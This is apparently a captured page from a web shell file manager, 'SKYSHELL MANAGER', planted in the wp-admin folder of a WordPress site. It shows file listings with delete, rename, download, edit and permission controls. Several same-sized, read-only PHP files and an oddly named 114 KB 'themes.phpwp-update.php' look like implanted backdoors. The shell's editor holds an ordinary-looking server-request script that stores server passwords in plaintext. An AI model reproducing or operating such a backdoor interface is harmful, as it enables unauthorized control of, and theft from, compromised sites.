📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: update_status.php
<?php require_once 'config/auth.php'; require_once 'config/db.php'; error_reporting(E_ALL); ini_set('display_errors', 1); if ($_SERVER['REQUEST_METHOD'] !== 'POST') { header("Location: new-server-status.php"); exit(); } // 1. Verify User Session if (!isset($_SESSION['user'])) { header("Location: index.php"); exit(); } $user = $_SESSION['user']; $user_id = (int)($user['id'] ?? 0); $user_username = trim($user['username'] ?? 'System'); $user_role = strtolower(trim($user['role'] ?? 'user')); $request_db_id = (int)($_POST['request_db_id'] ?? 0); $action_type = trim($_POST['action_type'] ?? ''); $status_note = trim($_POST['status_note'] ?? $_POST['notes'] ?? ''); // Standardized status note $new_status = trim($_POST['new_status'] ?? ''); if ($request_db_id <= 0) { $_SESSION['error'] = "Invalid request ID."; header("Location: new-server-status.php"); exit(); } // 2. Fetch Current Request Details $stmt = $conn->prepare("SELECT * FROM server_requests WHERE id = ? LIMIT 1"); $stmt->bind_param("i", $request_db_id); $stmt->execute(); $currentRequest = $stmt->get_result()->fetch_assoc(); if (!$currentRequest) { $_SESSION['error'] = "Server request not found."; header("Location: new-server-status.php"); exit(); } $old_status = $currentRequest['status']; // Helper function to check if a column exists in server_requests table function hasColumn($conn, $colName) { $res = $conn->query("SHOW COLUMNS FROM server_requests LIKE '$colName'"); return $res && $res->num_rows > 0; } // 3. Process Role-Based Updates if ($action_type === 'management' && in_array($user_role, ['manager', 'management', 'admin'])) { // Management/Manager Actions: Under Review, Approved, Rejected if (!in_array($new_status, ['Under Review', 'Approved', 'Rejected'])) { $_SESSION['error'] = "Invalid status selected for management action."; header("Location: new-server-status.php"); exit(); } // UPDATE ONLY STATUS (Original server_requests.notes is preserved) $updateStmt = $conn->prepare("UPDATE server_requests SET status = ? WHERE id = ?"); $updateStmt->bind_param("si", $new_status, $request_db_id); $updateStmt->execute(); } elseif ($action_type === 'sales' && (in_array($user_role, ['sales', 'sales team']) || $user_role === 'admin')) { if ($new_status === 'Validation') { // Step 1: Validation $updateStmt = $conn->prepare("UPDATE server_requests SET status = 'Validation' WHERE id = ?"); $updateStmt->bind_param("i", $request_db_id); $updateStmt->execute(); } elseif ($new_status === 'Order Processing') { // Step 2: Order Processing with Credentials $main_ip = trim($_POST['main_ip'] ?? ''); $server_username = trim($_POST['server_username'] ?? ''); $server_password = trim($_POST['server_password'] ?? ''); // Dynamic safe update checking for column presence $fields = ["status = 'Order Processing'"]; $params = []; $types = ""; if (hasColumn($conn, 'main_ip')) { $fields[] = "main_ip = ?"; $params[] = $main_ip; $types .= "s"; } if (hasColumn($conn, 'server_username')) { $fields[] = "server_username = ?"; $params[] = $server_username; $types .= "s"; } if (hasColumn($conn, 'server_password')) { $fields[] = "server_password = ?"; $params[] = $server_password; $types .= "s"; } $types .= "i"; $params[] = $request_db_id; $sql = "UPDATE server_requests SET " . implode(", ", $fields) . " WHERE id = ?"; $updateStmt = $conn->prepare($sql); $updateStmt->bind_param($types, ...$params); $updateStmt->execute(); } elseif ($new_status === 'Delivered') { // Step 3: Final Delivery Handover $updateStmt = $conn->prepare("UPDATE server_requests SET status = 'Delivered' WHERE id = ?"); $updateStmt->bind_param("i", $request_db_id); $updateStmt->execute(); } else { $_SESSION['error'] = "Invalid sales workflow status."; header("Location: new-server-status.php"); exit(); } } elseif ($action_type === 'server_team' && (in_array($user_role, ['server_team', 'server team']) || $user_role === 'admin')) { $server_alias = trim($_POST['server_alias'] ?? ''); if ($new_status === 'Under Configuration') { $updateStmt = $conn->prepare("UPDATE server_requests SET status = 'Under Configuration' WHERE id = ?"); $updateStmt->bind_param("i", $request_db_id); $updateStmt->execute(); } elseif ($new_status === 'Configured') { if (hasColumn($conn, 'server_alias')) { $updateStmt = $conn->prepare("UPDATE server_requests SET status = 'Configured', server_alias = ? WHERE id = ?"); $updateStmt->bind_param("si", $server_alias, $request_db_id); } else { $updateStmt = $conn->prepare("UPDATE server_requests SET status = 'Configured' WHERE id = ?"); $updateStmt->bind_param("i", $request_db_id); } $updateStmt->execute(); } else { $_SESSION['error'] = "Invalid status for server team."; header("Location: new-server-status.php"); exit(); } } else { $_SESSION['error'] = "Unauthorized status action."; header("Location: new-server-status.php"); exit(); } // 4. Log Action strictly into Timeline History (request_history) $logCheck = $conn->query("SHOW TABLES LIKE 'request_history'"); if ($logCheck && $logCheck->num_rows > 0) { $actorRoleFormatted = ucfirst($user_role) . " (" . $user_username . ")"; $logStmt = $conn->prepare("INSERT INTO request_history (request_id, from_status, to_status, action_notes, actor_role) VALUES (?, ?, ?, ?, ?)"); $logStmt->bind_param("issss", $request_db_id, $old_status, $new_status, $status_note, $actorRoleFormatted); $logStmt->execute(); } $_SESSION['success'] = "Status successfully updated to <strong>" . htmlspecialchars($new_status) . "</strong>."; header("Location: new-server-status.php"); exit(); ?>
Save